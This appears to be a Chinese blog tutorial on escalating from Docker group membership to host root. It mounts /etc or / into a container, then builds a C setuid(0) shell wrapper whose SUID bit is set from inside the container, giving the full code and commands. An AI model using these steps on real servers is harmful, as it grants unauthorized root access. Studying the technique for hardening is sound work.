设想一个环境:同一台 Docker 服务器,使用多用户管理。作为普通用户只有 Docker 组权限,那么如何使用这个 Docker 组权限提权到服务器的 root 权限?
其实这种情况非常普遍,但是以前没有实际想过或者操作过。最近正好有了环境,于是测试一下。
原理
我们知道,想用 Docker 来管理容器,不需要 root,只需要把用户加入到 Docker 组即可
Docker 客户端是通过一个套接字接口来进行管理的,看一下套接字的权限
srw-rw---- 1 root docker 0 4月 26 04:36 docker.sock
之所以 Docker 组用户可以操作,因为套接字文件属组是 Docker 组,权限也是 rw
但是事实上,Docker Daemon 本身就是 root 用户进行管理,理所当然的,创建的容器中当然可以有 root 权限了
那么,容器里面的这个 root,能给我们外面的机器带来怎么样的效果?
提权
映射提权
Linux 用户管理主要就是 /etc/passwd
,/etc/group
,/etc/shadow
了,那么我们直接映射这几个到容器里面,甚至映射整个 /etc
到容器里面,用容器内的 root 来对用户进行操作,不就可以了?
再想一想,你都可以映射 /etc
了,为何不直接映射根目录进去?(x
(操作有风险,整活需谨慎)
SUID 提权
映射目录确实有点吓人,而且看起来很不稳,那么有没有稳定的办法来提权呢?
Linux 有个神奇的东西,叫 SUID
SUID 属性一般用在可执行文件上,当用户执行该文件时,会临时拥有该执行文件的所有者权限
这样,我们可以在容器内,使用容器的 root 来创建一个有 SUID 位的可执行文件,再执行 shell,不就可以了?
在宿主机编译一个可执行文件
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
system("/bin/zsh");
// system("/bin/bash");
return 0;
}
gcc test.c -o test
起一个容器,把编译出来的可执行文件映射进去
docker run -it -d --name=escalation -v ${PWD}:/tmp debian:10
然后更改可执行文件属主,添加 SUID 位
chown root.root test
chmod u+s test
看下权限,应该已经变成这样了
-rwsrwxr-x 1 root root 16792 5月 26 04:22 test
然后这个容器的使命结束了,我们可以直接在宿主机上执行这个 test
文件来达到提权效果
发表评论
沙发空缺中,还不快抢~